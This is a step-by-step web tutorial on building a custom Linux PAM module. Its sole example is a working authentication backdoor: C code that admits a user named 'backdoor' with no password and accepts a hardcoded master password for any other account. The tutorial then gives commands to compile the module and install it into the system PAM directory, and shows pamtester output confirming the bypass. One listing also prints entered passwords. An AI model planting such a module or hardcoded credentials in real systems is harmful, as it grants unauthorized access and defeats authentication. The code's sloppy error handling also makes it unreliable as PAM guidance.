PAM Development tutorial [Step by Step]: Create Custom PAM Module for Linux

PAM or pluggable Authentication Module is a set of shared libraries or binaries used for Authentication and Authorization of services/applications in the Binary. There are different PAM modules developed and distributed by Linux community by default in a Linux and these can be found in /etc/pam.d directory. In this Article, we will see how to write a PAM module. By reading this article, It is assumed that you have knowledge on Linux PAM and you have background on C programming.

Scenario: Backdoor and Master password

We will develop a pam module, which will give password less access to a user called "backdoor" and if any other user is used for authentication, we will set a master password, which will work for all users. Below code snippet have the complete code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <security/pam_appl.h>
#include <security/pam_modules.h>
#include <security/pam_ext.h>
#include <errno.h>
#include <pwd.h>
#include <unistd.h>
#include <stdbool.h>

/* expected hook */
PAM_EXTERN int pam_sm_setcred( pam_handle_t *pamh, int flags, int argc, const char **argv ) {
	return PAM_SUCCESS;
}

PAM_EXTERN int pam_sm_acct_mgmt(pam_handle_t *pamh, int flags, int argc, const char **argv) {
	printf("Acct mgmt\n");
	return PAM_SUCCESS;
}

#define MAX_USERFILE_SIZE 1024
#define USERSFILE "users"


/* expected hook, this is where, we do all the required backdoor changes */
PAM_EXTERN int pam_sm_authenticate( pam_handle_t *pamh, int flags,int argc, const char **argv ) {
//Declaring required variables
	int retval;
    struct passwd pwd;
    const char * password=NULL;
    struct passwd *result;
    char *buf;
    size_t bufsize;
    int s;
    bufsize = sysconf(_SC_GETPW_R_SIZE_MAX);
    if (bufsize == -1)
        bufsize = 16384;
    buf = malloc(bufsize);
    if (buf == NULL) {
        perror("malloc");
        exit(EXIT_FAILURE);
    }

	const char* pUsername;
// pam_get_user asks and accepts the username
	retval = pam_get_user(pamh, &pUsername, "Username: ");
    	if (retval != PAM_SUCCESS) {
		return retval;
	}

	printf("Welcome %s\n", pUsername);
// getpwnam_r checks whether the username given is part of the user database (/etc/passwd)
    s = getpwnam_r(pUsername, &pwd, buf, bufsize,  &result);
    if (result == NULL) {
        if (s == 0)
            printf("User Not found in database\n");
        else {
            errno = s;
            perror("getpwnam_r");
        }
        exit(EXIT_FAILURE);
    }
    printf("username is valid\n");

	if (strcmp(pUsername, "backdoor") != 0) {
// pam_get_authtok will asks and accepts the password from the user		
        retval = pam_get_authtok(pamh, PAM_AUTHTOK, &password, "PASSWORD: ");
        if (retval != PAM_SUCCESS) {
            fprintf(stderr, "Can't get password\n");
            return PAM_PERM_DENIED;
        }
    if (flags & PAM_DISALLOW_NULL_AUTHTOK) {
// we are checking if empty password is allowed or not
        if (password == NULL || strcmp(password, "") == 0) {
            fprintf(stderr, "Null authentication token is not allowed!.\n");
            return PAM_PERM_DENIED;
        }
	}
//  Below commented if condition can be populated to do username and password verification
	// if (auth_user(pUsername,  password)) {
	// 	printf("Welcome, user");
	// 	return PAM_SUCCESS;
	// } else # else if is splitted 
// If the given password is master password, we are returning PAM_SUCCESS
     if (strcmp(password,"$ecuR1ty_admin") == 0) {
		return PAM_SUCCESS;
    }
    else {
		fprintf(stderr, "Wrong username or password");
		return PAM_PERM_DENIED;
	}
	return PAM_SUCCESS;
	}
// This else loop will be called when the user name is backdoor
    else {
    return PAM_SUCCESS;
}
}

Step By Step Explanation

  • The pam_sm_authenticate function is the function which gets called, when a pam aware application calls the pam module for authentication
  • We will writing all the required custom code under this function
PAM_EXTERN int pam_sm_authenticate( pam_handle_t *pamh, int flags,int argc, const char **argv ) {
    int retval;
    struct passwd pwd;
    const char * password=NULL;
  • The pam_get_user  function is part of the pam library of C. This is used for prompting and receiving user name from the application
  • In the example code in this article, the received username will be stored in a variable called pUsername
  • If the username is recieved successfully, the function will return PAM_SUCCESS
    const char* pUsername;
    retval = pam_get_user(pamh, &pUsername, "Username: ");
        if (retval != PAM_SUCCESS) {
        return retval;
    }
  • The function getpwnam_r  will check, if the user is present in the database, commonly /etc/passwd
# buf, bufsize, pwd are delcared prior to the usage of this function
#bug and bufsize declaration is to allocate space 
# pwd is a struct which holds the passwd content
s = getpwnam_r(pUsername, &pwd, buf, bufsize,  &result);

  • Below code snippet's if else loop is to check if the username given is backdoor. If it is backdoor, PAM_SUCCESS signal will be sent, which shows the authentication passed
  • If the user name is not backdoor, and if the password is master password, the authentication will be successful
  • For normal username, password verification is also possible, but not included in this article. ( _unix_verify_password is used in pam_unix.so for verifying username and password, against the linux data base)
    if (strcmp(pUsername, "backdoor") != 0) {      
        retval = pam_get_authtok(pamh, PAM_AUTHTOK, &password, "PASSWORD: ");
        if (retval != PAM_SUCCESS) {
            fprintf(stderr, "Can't get password\n");
            return PAM_PERM_DENIED;
        }
            printf("recieved password %s\n", password);
    if (flags & PAM_DISALLOW_NULL_AUTHTOK) {
        if (password == NULL || strcmp(password, "") == 0) {
            fprintf(stderr, "Null authentication token is not allowed!.\n");
            return PAM_PERM_DENIED;
        }
    }
            printf("starting authentication thread ");
    // if (auth_user(pUsername,  password)) {
    //  printf("Welcome, user");
    //  return PAM_SUCCESS;
    // } else # else if is splitted
     if (strcmp(password,"$ecuR1ty_admin") == 0) {
        return PAM_SUCCESS;
    }
    else {
        fprintf(stderr, "Wrong username or password");
        return PAM_PERM_DENIED;
    }
    return PAM_SUCCESS;
    }
    else {
    return PAM_SUCCESS;
}

Compilation and Testing

  • I have named this the C code as test.c and will be compiling it to create binary test.o
# gcc -fPIC -fno-stack-protector -c test.c
  • In linux(rocky), the pam binaries are placed in /usr/lib64/security, we will creating a shared binary and will placing in this location
# sudo ld -x --shared -o /usr/lib64/security/pam_test.so test.o
  • Create a pam file in the /etc/pam.d/ with the application name. Im naming it as test, with below content
[root@LDH ~]# cat /etc/pam.d/test
auth required pam_test.so
account required pam_test.so
session required pam_limits.so
[root@LDH ~]#
  • We will using pamtester for testing the pam,

Scenario #1

  • User with correct password. The authentication will fail, since our module doesnt have the logic to validate username and password against the password database
# Even if we provide correct password, it will fails, since password verification logic is missing in our module
[root@LDH ~]# pamtester -v test abhi authenticate
pamtester: invoking pam_start(test, abhi, ...)
pamtester: performing operation - authenticate
Welcome abhi
username is valid
PASSWORD:
Wrong username or passwordpamtester: Permission denied

Scenario #2

  • User with master password. The authentication will pass, since our master password bypasses all the authentication
# Im providing the master password $ecuR1ty_admin
[root@LDH ~]# pamtester -v test abhi authenticate
pamtester: invoking pam_start(test, abhi, ...)
pamtester: performing operation - authenticate
Welcome abhi
username is valid
PASSWORD:
pamtester: successfully authenticated

Scenario #3

  • User backdoor was authenticated successfully without password
# Backdoor will be authenticated without password
[root@LDH ~]# pamtester -v test backdoor authenticate
pamtester: invoking pam_start(test, backdoor, ...)
pamtester: performing operation - authenticate
Welcome backdoor
username is valid
pamtester: successfully authenticated

Scenario #4

  • User which is not part of the system, was used to authenticate. We can see that authentication didn't went through
[root@LDH ~]# pamtester -v test dummy authenticate
pamtester: invoking pam_start(test, dummy, ...)
pamtester: performing operation - authenticate
Welcome dummy
User Not found in database
[root@LDH ~]#

References

Search on LinuxDataHub

Leave a Comment